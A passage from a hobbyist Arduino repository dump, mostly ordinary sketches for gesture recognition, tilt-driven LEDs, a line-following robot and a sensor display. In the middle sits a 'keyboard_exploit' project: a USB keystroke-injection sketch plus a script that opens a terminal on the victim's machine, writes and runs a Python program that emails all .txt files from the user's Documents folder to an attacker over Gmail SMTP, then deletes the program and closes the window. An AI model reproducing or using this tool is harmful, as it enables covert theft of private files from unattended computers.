 95 |     // Get pointers for the model's input and output tensors
 96 |     tflInputTensor = tflInterpreter->input(0);
 97 |     tflOutputTensor = tflInterpreter->output(0);
 98 |     pinMode(ledPin, OUTPUT);
 99 |     initBLE();
100 |     Serial.println("finished initialization");
101 | }
102 | 
103 | void loop() {
104 |   //accept BLE connection
105 |   centralBLE = BLE.central();
106 |   float aX, aY, aZ, gX, gY, gZ;
107 |   // wait for significant motion
108 |   while (samplesRead == numSamples) {
109 |       if (!IMU.accelerationAvailable()) {
110 |           break;
111 |       }
112 |       // read the acceleration data and sum up the absolutes
113 |       IMU.readAcceleration(aX, aY, aZ);
114 |       float aSum = fabs(aX) + fabs(aY) + fabs(aZ);
115 |       // check if it's above the threshold
116 |       if (aSum >= accelerationThreshold) {
117 |         Serial.println("Begin reading gesture");
118 |         samplesRead = 0;
119 |         digitalWrite(ledPin, HIGH);
120 |         break;
121 |       }      
122 |   }
123 | 
124 |   // check if the all the required samples have been read since
125 |   // the last time the significant motion was detected
126 |   while (samplesRead < numSamples) {
127 |     // check if new acceleration AND gyroscope data is available
128 |       if (!(IMU.accelerationAvailable() && IMU.gyroscopeAvailable())) {
129 |           break;
130 |       }
131 |       // read the acceleration and gyroscope data
132 |       IMU.readAcceleration(aX, aY, aZ);
133 |       IMU.readGyroscope(gX, gY, gZ);
134 | 
135 |       // normalize the IMU data between 0 to 1 and store in the model's input tensor
136 |       tflInputTensor->data.f[samplesRead * 6 + 0] = (aX + 4.0) / 8.0;
137 |       tflInputTensor->data.f[samplesRead * 6 + 1] = (aY + 4.0) / 8.0;
138 |       tflInputTensor->data.f[samplesRead * 6 + 2] = (aZ + 4.0) / 8.0;
139 |       tflInputTensor->data.f[samplesRead * 6 + 3] = (gX + 2000.0) / 4000.0;
140 |       tflInputTensor->data.f[samplesRead * 6 + 4] = (gY + 2000.0) / 4000.0;
141 |       tflInputTensor->data.f[samplesRead * 6 + 5] = (gZ + 2000.0) / 4000.0;
142 |       samplesRead++;
143 |       if (samplesRead == numSamples) {
144 |           // Run inferencing
145 |           digitalWrite(ledPin, LOW);
146 |           Serial.println("Finished reading gesture");
147 |           TfLiteStatus invokeStatus = tflInterpreter->Invoke();
148 |           if (invokeStatus != kTfLiteOk) {
149 |               Serial.println("Invoke failed!");
150 |               while (1);
151 |               return;
152 |           }
153 |           transmitData();
154 |       }    
155 |   }
156 | }
157 | 
158 | void transmitData() {
159 |     // Loop through the output tensor values from the model
160 |     int maxPosition = 0;
161 |     float maxValue = 0;
162 |     for (int i = 0; i < NUM_GESTURES; i++) {
163 |         Serial.print(GESTURES[i]);Serial.print(": ");
164 |         Serial.println(tflOutputTensor->data.f[i], 6);
165 |         if (maxValue < tflOutputTensor->data.f[i]) {
166 |             maxValue = tflOutputTensor->data.f[i];
167 |             maxPosition = i;
168 |         }
169 |     }
170 |     Serial.println("Highest probability:");
171 |     Serial.print(maxPosition);Serial.print(": ");
172 |     Serial.println(maxValue, 6);    
173 |     Serial.println();
174 |     if (centralBLE) {    
175 |         if (centralBLE.connected()) {
176 |            gestureCharacteristic.writeValue(maxPosition);
177 |         }
178 |     }
179 | }
180 | 
181 | void initBLE() {
182 |     if (!BLE.begin()) {
183 |         Serial.println("starting BLE failed!");
184 |         while (1);
185 |     }
186 |     // set advertised local name and service UUID:
187 |     BLE.setLocalName("GESTURE");
188 |     BLE.setAdvertisedService(gestureService);
189 |     gestureService.addCharacteristic(gestureCharacteristic);
190 |     BLE.addService(gestureService);
191 |     // set the initial value for the characeristic:
192 |     gestureCharacteristic.writeValue(0); 
193 |     BLE.advertise(); 
194 | }
195 | 
--------------------------------------------------------------------------------
/projects/giroscope_led_controll/giroscope_led_controll.ino:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * Simple implementation false 
  3 |  * 
  4 |  * means that for  pitch/yaw there only be 
  5 |  * a single led for each direction. The led will get more bright 
  6 |  * as the direction increases
  7 |  * 
  8 |  * Simple implementation true
  9 |  * means that for pitch/yaw there will be multiple led's that light up one by one 
 10 |  * 
 11 |  * The accelerometer/gyro is a MPU6050, it should be wired to the SDA and SCL pins
 12 |  */
 13 | #define SIMPLE_IMPLEMENTATION false
 14 | 
 15 | const int frontLed = 3;
 16 | const int bottomLed = 5;
 17 | const int rightLed = 6;
 18 | const int leftLed = 9;
 19 | long int lastPrintTime;
 20 | 
 21 | typedef struct 
 22 | {
 23 |     byte pin;
 24 |     byte positionInsideGroup;    
 25 |     char thePosition; // Left, Right, Up, Down
 26 |     byte minAngle;
 27 |     byte maxAngle;    
 28 | } ledConfig;
 29 | 
 30 | typedef struct 
 31 | {
 32 |     byte maximumAcceptedMovement = 4;
 33 |     unsigned int millisToConsiderStill = 3000;
 34 |     byte firstActualAngle = 0;
 35 |     unsigned long firstActualAngleMillis = 0;
 36 | } axysStillness;
 37 | axysStillness xAxys;
 38 | 
 39 | ledConfig leds[] = {
 40 |     {3, 1, 'u', 31, 45},  
 41 |     {12, 2, 'u', 16, 30},
 42 |     {11, 3, 'u', 5, 15},  
 43 |     {5, 1, 'd', 5, 15},  
 44 |     {6, 2, 'd', 16, 30},
 45 |     {7, 3, 'd', 31, 45},  
 46 |     {8 , 1, 'r', 5, 23},  
 47 |     {9, 2, 'r', 24, 45},
 48 |     {10, 1, 'l', 5, 23},  
 49 |     {4, 2, 'l', 24, 45},
 50 | };
 51 | 
 52 | #include "I2Cdev.h"
 53 | #include "MPU6050_6Axis_MotionApps20.h"
 54 | #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
 55 |     #include "Wire.h"
 56 | #endif
 57 | 
 58 | MPU6050 mpu;
 59 | 
 60 | bool dmpReady = false;  // set true if DMP init was successful
 61 | uint8_t mpuIntStatus;   // holds actual interrupt status byte from MPU
 62 | uint8_t devStatus;      // return status after each device operation (0 = success, !0 = error)
 63 | uint16_t packetSize;    // expected DMP packet size (default is 42 bytes)
 64 | uint16_t fifoCount;     // count of all bytes currently in FIFO
 65 | uint8_t fifoBuffer[64]; // FIFO storage buffer
 66 | 
 67 | // orientation/motion vars
 68 | Quaternion q;           // [w, x, y, z]         quaternion container
 69 | VectorInt16 aa;         // [x, y, z]            accel sensor measurements
 70 | VectorInt16 aaReal;     // [x, y, z]            gravity-free accel sensor measurements
 71 | VectorInt16 aaWorld;    // [x, y, z]            world-frame accel sensor measurements
 72 | VectorFloat gravity;    // [x, y, z]            gravity vector
 73 | float euler[3];         // [psi, theta, phi]    Euler angle container
 74 | float ypr[3];           // [yaw, pitch, roll]   yaw/pitch/roll container and gravity vector
 75 | volatile bool mpuInterrupt = false;     // indicates whether MPU interrupt pin has gone high
 76 | 
 77 | void setup() 
 78 | {
 79 |     #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
 80 |         Wire.begin();
 81 |         TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz)
 82 |     #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE
 83 |         Fastwire::setup(400, true);
 84 |     #endif
 85 | 
 86 |     Serial.begin(9600);
 87 |     while (!Serial); // wait for Leonardo enumeration, others continue immediately
 88 |     Serial.println(F("Initializing I2C devices..."));
 89 |     mpu.initialize();
 90 |     Serial.println(F("Testing device connections..."));
 91 |     Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));
 92 |     Serial.println(F("Initializing DMP..."));
 93 |     devStatus = mpu.dmpInitialize();
 94 |     mpu.setXGyroOffset(220);
 95 |     mpu.setYGyroOffset(76);
 96 |     mpu.setZGyroOffset(-85);
 97 |     mpu.setZAccelOffset(1788); // 1688 factory default for my test chip
 98 |     if (devStatus == 0) {
 99 |         // turn on the DMP, now that it's ready
100 |         Serial.println(F("Enabling DMP..."));
101 |         mpu.setDMPEnabled(true);
102 |         Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)..."));
103 |         attachInterrupt(0, dmpDataReady, RISING);
104 |         mpuIntStatus = mpu.getIntStatus();
105 |         Serial.println(F("DMP ready! Waiting for first interrupt..."));
106 |         dmpReady = true;
107 |         packetSize = mpu.dmpGetFIFOPacketSize();
108 |     } else {
109 |         Serial.print(F("DMP Initialization failed (code "));
110 |         Serial.print(devStatus);
111 |         Serial.println(F(")"));
112 |     }
113 |     if (SIMPLE_IMPLEMENTATION) { 
114 |         initializeLEDsSimple();
115 |     } else {
116 |         initializeLEDsMultiple();
117 |     }
118 |     lastPrintTime = millis();    
119 | }
120 | 
121 | void updateStillness(byte angle, bool forceReset) 
122 | {
123 |     if (abs(xAxys.firstActualAngle - angle) > xAxys.maximumAcceptedMovement || forceReset) {
124 |         xAxys.firstActualAngle = angle;
125 |         xAxys.firstActualAngleMillis = millis();  
126 |     }
127 | }
128 | 
129 | bool isAxysStill(byte angle)
130 | {
131 |     return millis() - xAxys.firstActualAngleMillis >= xAxys.millisToConsiderStill;
132 | }
133 | 
134 | void loop() 
135 | {
136 |     if (!dmpReady) return;
137 |     mpuInterrupt = false;
138 |     mpuIntStatus = mpu.getIntStatus();
139 |     fifoCount = mpu.getFIFOCount();
140 |     if ((mpuIntStatus & 0x10) || fifoCount == 1024) {
141 |         mpu.resetFIFO();
142 |         Serial.println(F("FIFO overflow!"));
143 |     } else if (mpuIntStatus & 0x02) {
144 |         while (fifoCount < packetSize) {
145 |           fifoCount = mpu.getFIFOCount();
146 |         }
147 |         mpu.getFIFOBytes(fifoBuffer, packetSize);        
148 |         fifoCount -= packetSize;
149 |         mpu.dmpGetQuaternion(&q, fifoBuffer);
150 |         mpu.dmpGetGravity(&gravity, &q);
151 |         mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
152 |         int x = ypr[0] * 180/M_PI;
153 |         int y = ypr[1] * 180/M_PI;
154 |         int z = ypr[2] * 180/M_PI;
155 |         //Serial.print(y);Serial.print("\t");Serial.println(z);  
156 |         updateStillness(x, false);
157 |         if (isAxysStill(x)) {
158 |             Serial.println("axys still at");
159 |             Serial.println(x);
160 |             updateStillness(x, true);
161 |         }
162 |         if (SIMPLE_IMPLEMENTATION) {        
163 |             flashLEDsSimple(x, y, z);
164 |         } else {
165 |             flashLEDsMultiple(x, y, z);
166 |         }
167 |     }
168 | }
169 | 
170 | void initializeLEDsSimple() 
171 | {
172 |     pinMode(frontLed, OUTPUT);
173 |     pinMode(bottomLed, OUTPUT);    
174 |     pinMode(rightLed, OUTPUT);
175 |     pinMode(leftLed, OUTPUT); 
176 | }
177 | 
178 | void initializeLEDsMultiple() 
179 | { 
180 |     for (int i=0; i<10; i++) {
181 |         Serial.println(leds[i].pin);
182 |         pinMode(leds[i].pin, OUTPUT);
183 |     }
184 |     delay(3000);
185 | }
186 | 
187 | void flashLEDsSimple(int x, int y, int z)
188 | {
189 |     if (y > 0) {
190 |         analogWrite(rightLed, y*4);
191 |         analogWrite(leftLed, 0);           
192 |     } else {
193 |         analogWrite(leftLed, y*4*-1);      
194 |         analogWrite(rightLed, 0);      
195 |     }
196 |     if (z > 0) {
197 |         analogWrite(bottomLed, z*4);
198 |         analogWrite(frontLed, 0);          
199 |     } else {
200 |         analogWrite(frontLed, z*4*-1);      
201 |         analogWrite(bottomLed, 0);      
202 |     }     
203 | }
204 | 
205 | void flashLEDsMultiple(int x, int y, int z)
206 | {
207 |     for (int i=0; i<10; i++) {
208 |         //Serial.print(z);Serial.print(",");Serial.print(leds[i].thePosition);Serial.print(",");Serial.println(leds[i].minAngle);
209 |         bool modified = false;
210 |         if (z < 0 && leds[i].thePosition == 'u' && abs(z) > leds[i].minAngle) {
211 |             digitalWrite(leds[i].pin, HIGH);
212 |             modified = true;
213 |         }
214 |         if (z > 0 && leds[i].thePosition == 'd' && abs(z) > leds[i].minAngle) {
215 |             digitalWrite(leds[i].pin, HIGH);
216 |             modified = true;
217 |         }
218 |         if (y < 0 && leds[i].thePosition == 'l' && abs(y) > leds[i].minAngle) {
219 |             digitalWrite(leds[i].pin, HIGH);
220 |             modified = true;
221 |         }
222 |         if (y > 0 && leds[i].thePosition == 'r' && abs(y) > leds[i].minAngle) {
223 |             digitalWrite(leds[i].pin, HIGH);
224 |             modified = true;
225 |         } 
226 |         if (!modified) {
227 |             digitalWrite(leds[i].pin, LOW);
228 |         }
229 |     }
230 | }
231 | 
232 | void dmpDataReady() 
233 | {
234 |     mpuInterrupt = true;
235 | }
--------------------------------------------------------------------------------
/projects/keyboard_exploit/hack.py:
--------------------------------------------------------------------------------
 1 | import smtplib
 2 | import glob, os
 3 | from os.path import expanduser
 4 | from email.MIMEMultipart import MIMEMultipart
 5 | from email.MIMEBase import MIMEBase
 6 | from email.MIMEText import MIMEText
 7 | from email.Utils import COMMASPACE, formatdate
 8 | from email import Encoders
 9 | 
10 | smtp_user = 'sender_gmail_address'
11 | smtp_pass = 'sender_gmail_password'
12 | to_address = 'receiver_address'
13 | scan_documents_location = 'Documents'
14 | 
15 | subject = body = 'Files from hacked computer'
16 | header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
17 | 
18 | def sendMail(to, subject, text, files=[]):
19 |     msg = MIMEMultipart()
20 |     msg['From'] = smtp_user
21 |     msg['To'] = COMMASPACE.join(to)
22 |     msg['Date'] = formatdate(localtime=True)
23 |     msg['Subject'] = subject
24 |     msg.attach(MIMEText(text))
25 |     for file in files:
26 |         part = MIMEBase('application', "octet-stream")
27 |         part.set_payload(open(file,"rb").read())
28 |         Encoders.encode_base64(part)
29 |         part.add_header('Content-Disposition', 'attachment; filename="%s"'
30 |                        % os.path.basename(file))
31 |         msg.attach(part)
32 | 
33 |     server = smtplib.SMTP('smtp.gmail.com:587')
34 |     server.starttls()
35 |     server.login(smtp_user, smtp_pass)
36 |     server.sendmail(smtp_user, to, msg.as_string())
37 |     server.quit()
38 | 
39 | sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
--------------------------------------------------------------------------------
/projects/keyboard_exploit/hack.txt:
--------------------------------------------------------------------------------
 1 | Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
 2 | Sleep::500
 3 | vi hack.py
 4 | Sleep::300
 5 | Command::KEY_INSERT
 6 | import smtplib
 7 | import glob, os
 8 | from os.path import expanduser
 9 | from email.MIMEMultipart import MIMEMultipart
10 | from email.MIMEBase import MIMEBase
11 | from email.MIMEText import MIMEText
12 | from email.Utils import COMMASPACE, formatdate
13 | from email import Encoders
14 | 
15 | smtp_user = 'sender_gmail_address'
16 | smtp_pass = 'sender_gmail_password'
17 | to_address = 'receiver_address'
18 | scan_documents_location = 'Documents'
19 | 
20 | subject = body = 'Files from hacked computer'
21 | header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
22 | 
23 | def sendMail(to, subject, text, files=[]):
24 |     msg = MIMEMultipart()
25 |     msg['From'] = smtp_user
26 |     msg['To'] = COMMASPACE.join(to)
27 |     msg['Date'] = formatdate(localtime=True)
28 |     msg['Subject'] = subject
29 |     msg.attach(MIMEText(text))
30 |     for file in files:
31 |         part = MIMEBase('application', "octet-stream")
32 |         part.set_payload(open(file,"rb").read())
33 |         Encoders.encode_base64(part)
34 |         part.add_header('Content-Disposition', 'attachment; filename="%s"'
35 |                        % os.path.basename(file))
36 |         msg.attach(part)
37 | 
38 |     server = smtplib.SMTP('smtp.gmail.com:587')
39 |     server.starttls()
40 |     server.login(smtp_user, smtp_pass)
41 |     server.sendmail(smtp_user, to, msg.as_string())
42 |     server.quit()
43 | 
44 | sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
45 | Sleep::50
46 | Command::KEY_ESC
47 | Sleep::100
48 | :x
49 | Sleep::500
50 | nohup python hack.py &
51 | Sleep::700
52 | rm -rf hack.py
53 | Sleep::400
54 | Command::KEY_LEFT_ALT,KEY_F4
--------------------------------------------------------------------------------
/projects/keyboard_exploit/keyboard_exploit.ino:
--------------------------------------------------------------------------------
  1 | #include "Keyboard.h"
  2 | #include 
  3 | #include 
  4 | 
  5 | String filenameOnCard = "hack.txt";
  6 | String sleepCommandStartingPoint = "Sleep::";
  7 | String commandStartingPoint = "Command::";
  8 | int delayBetweenCommands = 10;
  9 | const int buttonPin = 8;   
 10 | const int chipSelect = 10;       
 11 | int previousButtonState = HIGH;  
 12 | 
 13 | void setup() {
 14 |     pinMode(buttonPin, INPUT);
 15 |     Serial.begin(9600);
 16 |     Keyboard.begin();
 17 |     if (!SD.begin(chipSelect)) {
 18 |         Serial.println("Card failed, or not present!");
 19 |         return;
 20 |     }
 21 | }
 22 | 
 23 | void loop() {
 24 |     int buttonState = digitalRead(buttonPin);
 25 |     if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
 26 |       sdFileToKeyboard();
 27 |       Serial.println("Uploaded!");
 28 |       delay(500);
 29 |     }
 30 |     previousButtonState = buttonState;
 31 | }
 32 | 
 33 | void sdFileToKeyboard() {
 34 |     File dataFile = SD.open(filenameOnCard);
 35 |     if (!dataFile) {
 36 |       Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
 37 |     }
 38 |     String line;
 39 |     while (dataFile.available()) {
 40 |         line = dataFile.readStringUntil('\n');
 41 |         Serial.println(line);
 42 |         sendToKeyboard(line);
 43 |     }
 44 |     dataFile.close();
 45 | }
 46 | 
 47 | void sendToKeyboard(String line) {
 48 |     String workingLine = line;
 49 |     if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
 50 |         sleepFor(line);
 51 |         return;      
 52 |     }
 53 |     if (workingLine.indexOf(commandStartingPoint) == -1) {
 54 |         Serial.print("Text:");Serial.println(line);
 55 |         Keyboard.println(line);
 56 |         pressEnter();
 57 |         return;        
 58 |     }    
 59 | 
 60 |     Serial.println("Command:");
 61 |     int charPosition = commandStartingPoint.length();
 62 |     int lineLength = line.length();
 63 |     workingLine += ",";
 64 |     
 65 |     while (workingLine != "") {
 66 |         workingLine = workingLine.substring(charPosition);
 67 |         Serial.print("WorkingLine:");Serial.println(workingLine);
 68 |         int specialCommandDelimiterPosition = workingLine.indexOf(",");
 69 |         String command = workingLine.substring(0, specialCommandDelimiterPosition);
 70 |         charPosition = specialCommandDelimiterPosition + 1;
 71 |         if (command != "") {
 72 |             Serial.print("Command found:");Serial.println(command);
 73 |             Keyboard.press(getCommandCode(command));
 74 |             delay(delayBetweenCommands);
 75 |         }
 76 |     }
 77 |     Keyboard.releaseAll();
 78 |     delay(delayBetweenCommands);
 79 | }
 80 | 
 81 | void pressEnter() {
 82 |     Keyboard.press(KEY_RETURN);
 83 |     Keyboard.releaseAll();
 84 | }
 85 | 
 86 | void sleepFor(String line) {
 87 |     int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
 88 |     Serial.print("Sleeping for:");Serial.println(sleepAmount);
 89 |     delay(sleepAmount);
 90 | }
 91 | 
 92 | char getCommandCode(String text) {
 93 |     char textCharacters[2]; 
 94 |     text.toCharArray(textCharacters, 2);
 95 |     char code = textCharacters[0];
 96 |     
 97 |     code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
 98 |     code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
 99 |     code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
100 |     code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
101 |     code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
102 |     code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
103 |     code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
104 |     code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
105 |     code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
106 |     code = (text == "KEY_TAB") ? KEY_TAB : code;
107 |     code = (text == "KEY_RETURN") ? KEY_RETURN : code;
108 |     code = (text == "KEY_ESC") ? KEY_ESC : code;
109 |     code = (text == "KEY_INSERT") ? KEY_INSERT : code;
110 |     code = (text == "KEY_DELETE") ? KEY_DELETE : code;
111 |     code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
112 |     code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
113 |     code = (text == "KEY_HOME") ? KEY_HOME : code;
114 |     code = (text == "KEY_END") ? KEY_END : code;
115 |     code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
116 |     code = (text == "KEY_F1") ? KEY_F1 : code;
117 |     code = (text == "KEY_F2") ? KEY_F2 : code;
118 |     code = (text == "KEY_F3") ? KEY_F3 : code;
119 |     code = (text == "KEY_F4") ? KEY_F4 : code;
120 |     code = (text == "KEY_F5") ? KEY_F5 : code;
121 |     code = (text == "KEY_F6") ? KEY_F6 : code;
122 |     code = (text == "KEY_F7") ? KEY_F7 : code;
123 |     code = (text == "KEY_F8") ? KEY_F8 : code;
124 |     code = (text == "KEY_F9") ? KEY_F9 : code;
125 |     code = (text == "KEY_F10") ? KEY_F10 : code;
126 |     code = (text == "KEY_F11") ? KEY_F1 : code;
127 |     code = (text == "KEY_F12") ? KEY_F2 : code;
128 | 
129 |     return code;
130 | }
131 | 
132 | 
--------------------------------------------------------------------------------
/projects/keyboard_exploit/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/keyboard_exploit/sketch.fzz
--------------------------------------------------------------------------------
/projects/keyboard_exploit/sketch_bb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/keyboard_exploit/sketch_bb.png
--------------------------------------------------------------------------------
/projects/line_follower/line_follower.ino:
--------------------------------------------------------------------------------
  1 | // CustomStepper https://playground.arduino.cc/Main/CustomStepper
  2 | #include 
  3 |  
  4 | CustomStepper leftMotor(6, 7, 8, 9, (byte[]) {8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CCW);
  5 | CustomStepper rightMotor(2, 3, 4, 5, (byte[]) {8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CW);
  6 | 
  7 | //#define DEBUG true;
  8 | float Kp=6, Ki=0, Kd=0;
  9 | float error=0, P=0, I=0, D=0, PID_value=0;
 10 | float previous_error=0, previous_I=0;
 11 | int sensor[5] = {0, 0, 0, 0, 0};
 12 | const int maxSpeed = 20;
 13 | long lastTransmitted;
 14 | int lastDefinedError = 0;
 15 | long minTransmittingInterval = 1000;
 16 | long maxTransmittingInterval = 1200;
 17 | 
 18 | struct errorMap 
 19 | {
 20 |    int left1;
 21 |    int left2;
 22 |    int middle;
 23 |    int right1;
 24 |    int right2;
 25 |    int error;
 26 | };
 27 | errorMap sensorErrorMap[] = 
 28 | {
 29 |     {1, 1, 1, 1, 0, 4},
 30 |     {1, 1, 1, 0, 0, 3},
 31 |     {1, 1, 1, 0, 1, 2},
 32 |     {1, 1, 0, 0, 1, 1},
 33 |     {1, 1, 0, 1, 1, 0},
 34 |     {1, 0, 0, 1, 1, -1},
 35 |     {1, 0, 1, 1, 1, -2},
 36 |     {0, 0, 1, 1, 1, -3},
 37 |     {0, 1, 1, 1, 1, -4},    
 38 | };
 39 | 
 40 | void read_sensor_values(void);
 41 | void calculate_pid(void);
 42 | void motor_control(void);
 43 | 
 44 | void setup()
 45 | {
 46 |     Serial.begin(9600); 
 47 |     leftMotor.setSPR(4075.7728395);
 48 |     rightMotor.setSPR(4075.7728395);    
 49 |     leftMotor.rotate();
 50 |     rightMotor.rotate();    
 51 |     lastTransmitted = millis();   
 52 | }
 53 | 
 54 | void loop()
 55 | {
 56 |     read_sensor_values();
 57 |     calculate_pid();
 58 |     motor_control();    
 59 |     leftMotor.run();
 60 |     rightMotor.run(); 
 61 | }
 62 | 
 63 | void read_sensor_values()
 64 | {
 65 |     sensor[0] = digitalRead(A0);
 66 |     sensor[1] = digitalRead(A1);
 67 |     sensor[2] = digitalRead(A2);
 68 |     sensor[3] = digitalRead(A3);
 69 |     sensor[4] = digitalRead(A4);
 70 |     for (byte i = 0; i < 9; i++) {     
 71 |         if (sensor[0] == sensorErrorMap[i].left1 && sensor[1] == sensorErrorMap[i].left2 && 
 72 |             sensor[2] == sensorErrorMap[i].middle && sensor[3] == sensorErrorMap[i].right1 && 
 73 |             sensor[4] == sensorErrorMap[i].right2) {
 74 |             error = sensorErrorMap[i].error;
 75 |         }
 76 |         if (sensor[0] + sensor[1] + sensor[2] + sensor[3] + sensor[4] == 5) {
 77 |             error = lastDefinedError;
 78 |         } else {
 79 |             lastDefinedError = error;              
 80 |         }
 81 |     }
 82 |     #if defined(DEBUG)
 83 |       print("Error=", false);print(String(error), true);
 84 |     #endif
 85 | }
 86 | 
 87 | void calculate_pid()
 88 | {
 89 |     P = error;
 90 |     I = I + previous_error;
 91 |     D = error - previous_error;    
 92 |     PID_value = (Kp * P) + (Ki * I) + (Kd * D);    
 93 |     previous_I = I;
 94 |     previous_error = error;
 95 |     #if defined(DEBUG)
 96 |         print("PID=", false);print(String(PID_value), true);
 97 |         delay(500);
 98 |     #endif
 99 | }
100 | 
101 | void setMotorSpeed(int left, int right)
102 | {
103 |     leftMotor.setRPM(left);
104 |     rightMotor.setRPM(right);  
105 | }
106 | 
107 | void motor_control()
108 | {
109 |     int leftMotorSpeed = maxSpeed + PID_value;
110 |     int rightMotorSpeed = maxSpeed - PID_value;
111 |    
112 |     leftMotorSpeed = constrain(leftMotorSpeed, 0, maxSpeed);
113 |     rightMotorSpeed = constrain(rightMotorSpeed, 0, maxSpeed);
114 |     #if defined(DEBUG)
115 |         print("left=", false);print(String(leftMotorSpeed), true);
116 |         print("right=", false);print(String(rightMotorSpeed), true);
117 |     #endif
118 |     setMotorSpeed(leftMotorSpeed, rightMotorSpeed);
119 | }
120 | 
121 | void print(String stuff, boolean newline) 
122 | {
123 |     if (millis() - lastTransmitted < minTransmittingInterval) {
124 |         return;        
125 |     }  
126 |     if (millis() - lastTransmitted > maxTransmittingInterval) {
127 |         lastTransmitted = millis();
128 |     }
129 |     if (newline) {
130 |         Serial.println(stuff);
131 |     } else {
132 |         Serial.print(stuff);   
133 |     }  
134 | 
135 |     delay(3);
136 | }
137 | 
138 | 
--------------------------------------------------------------------------------
/projects/line_follower/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/line_follower/sketch.fzz
--------------------------------------------------------------------------------
/projects/line_follower/sketch_bb.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/line_follower/sketch_bb.jpg
--------------------------------------------------------------------------------
/projects/multisensor_display/.project:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 	multisensor_display
 4 | 	
 5 | 	
 6 | 	
 7 | 	
 8 | 	
 9 | 	
10 | 	
11 | 
12 | 
--------------------------------------------------------------------------------
/projects/multisensor_display/multisensor_display.ino:
--------------------------------------------------------------------------------
  1 | /* 
  2 |  *  Libraries used by this project:
  3 |  *  
  4 |  *  GOFi2cOLED: https://github.com/hramrach/GOFi2cOLED
  5 |  *  Adafruit_MLX90614: https://github.com/adafruit/Adafruit-MLX90614-Library
  6 |  *  Adafruit_Sensor: https://github.com/adafruit/Adafruit_Sensor
  7 |  *  Adafruit_BME280: https://github.com/adafruit/Adafruit_BME280_Library
  8 |  *  Adafruit_VEML6070: https://github.com/adafruit/Adafruit_VEML6070
  9 |  */
 10 | #include 
 11 | #include 
 12 | #include 
 13 | #include 
 14 | #include 
 15 | #include "Adafruit_VEML6070.h"
 16 | 
 17 | GOFi2cOLED GOFoled;
 18 | Adafruit_MLX90614 mlx = Adafruit_MLX90614();
 19 | Adafruit_BME280 bme; 
 20 | Adafruit_VEML6070 uv = Adafruit_VEML6070();
 21 | 
 22 | struct sensorData
 23 |   {
 24 |       int uv;
 25 |       byte humidity;    
 26 |       int  pressure;
 27 |       int ambientTemperature;
 28 |       int pointTemperature;      
 29 |   };
 30 | 
 31 | sensorData sensors;
 32 | const byte buttonPin = 2;
 33 | const byte nrMetrics = 5;
 34 | volatile byte selectedMetric = 0;
 35 | 
 36 | void setup() 
 37 | {
 38 |   Serial.begin(9600);
 39 |   pinMode(buttonPin, INPUT_PULLUP);
 40 |   attachInterrupt(digitalPinToInterrupt(buttonPin), buttonPressed, RISING);
 41 |   initializeDisplay();
 42 |   initializeSensors();
 43 | }
 44 | 
 45 | void loop() 
 46 | {
 47 |   collectSensorsData();
 48 |   clearDisplay();
 49 |   writeSensorDataOnDisplayBuffer();
 50 |   doDisplay();
 51 |     Serial.println(selectedMetric);
 52 |   delay(1000);
 53 | }
 54 | 
 55 | void initializeDisplay()
 56 | {
 57 |   GOFoled.init(0x3C); 
 58 |   GOFoled.clearDisplay();
 59 |   GOFoled.setCursor(0, 0);
 60 | }
 61 | 
 62 | void initializeSensors()
 63 | {
 64 |   mlx.begin();
 65 |   bme.begin();
 66 |   uv.begin(VEML6070_1_T);
 67 | }
 68 | 
 69 | void setDisplayText(byte fontSize, String label, String data)
 70 | {
 71 |   GOFoled.setTextSize(fontSize);
 72 |   GOFoled.println(label + ":" + data);
 73 | }
 74 | 
 75 | void setDisplayText(byte fontSize, byte x, byte y, String data) 
 76 | {
 77 |   GOFoled.setTextSize(fontSize);
 78 |   GOFoled.setCursor(x, y);
 79 |   GOFoled.println(data);  
 80 | }
 81 | 
 82 | void doDisplay()
 83 | { 
 84 |   GOFoled.display();
 85 | }
 86 | 
 87 | void clearDisplay()
